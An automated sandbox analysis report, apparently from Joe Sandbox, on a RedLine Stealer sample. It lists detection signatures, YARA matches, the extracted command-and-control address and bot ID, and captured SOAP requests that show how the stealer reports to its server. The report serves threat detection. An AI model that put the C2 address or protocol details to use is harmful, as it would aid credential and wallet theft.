Edit tour

Windows Analysis Report
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Overview

General Information

Sample name:	4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
Analysis ID:	1443933
MD5:	a2c08a55b2b269965a786a352398596d
SHA1:	1a12cd9455c3cb7b0b9b49c35f7c2deb1e1c316a
SHA256:	f7b1909a121a8ae8df6f3c54043a14a3726fb0cbdcfdab1f273b26458b318910
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected RedLine Stealer

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe (PID: 4564 cmdline: "C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe" MD5: A2C08A55B2B269965A786A352398596D)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["94.156.8.28:65012"], "Bot Id": "3"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165de:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165bf:$v2_6: GetUpdates

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x36b4e7:$a4: get_ScannedWallets 0x36a38e:$a5: get_ScanTelegram 0x36b170:$a6: get_ScanGeckoBrowsersPaths 0x369021:$a7: <Processes>k__BackingField 0x366554:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x368955:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165de:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165bf:$v2_6: GetUpdates

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Avira: detected

Found malware configuration

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Malware Configuration Extractor: RedLine {"C2 url": ["94.156.8.28:65012"], "Bot Id": "3"}

Multi AV Scanner detection for submitted file

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Virustotal: Detection: 79%

Perma Link

Machine Learning detection for sample

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Joe Sandbox ML: detected

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 94.156.8.28:65012

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 94.156.8.28 ports 65012,0,1,2,5,6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 65012
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 49733

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 94.156.8.28:65012

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 94.156.8.28:65012Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 94.156.8.28:65012Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 94.156.8.28:65012Content-Length: 982700Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 94.156.8.28:65012Content-Length: 982692Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: NET1-ASBG NET1-ASBG

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.8.28

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 94.156.8.28:65012Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.28:6
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000024EF000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.28:65012
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.28:65012/
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000024EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://94.156.8.28:65012t-
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000024EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.0000000002412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.0000000002412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023F0000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.0000000002545000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnviron
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.000000000254D000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp, 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.0000000002431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, 00000000.00000002.1769960998.00000000023F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ip.sb/geoip
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmp771B.tmp.0.dr, tmp773D.tmp.0.dr, tmpAF68.tmp.0.dr, tmpAF58.tmp.0.dr, tmpAF79.tmp.0.dr, tmpE726.tmp.0.dr, tmpAFAA.tmp.0.dr, tmp772D.tmp.0.dr, tmpAF8A.tmp.0.dr, tmpAF47.tmp.0.dr, tmp775E.tmp.0.dr, tmp771C.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe.100000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe PID: 4564, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe	Code function: 0_2_0083E7B0	0_2_0083E7B0
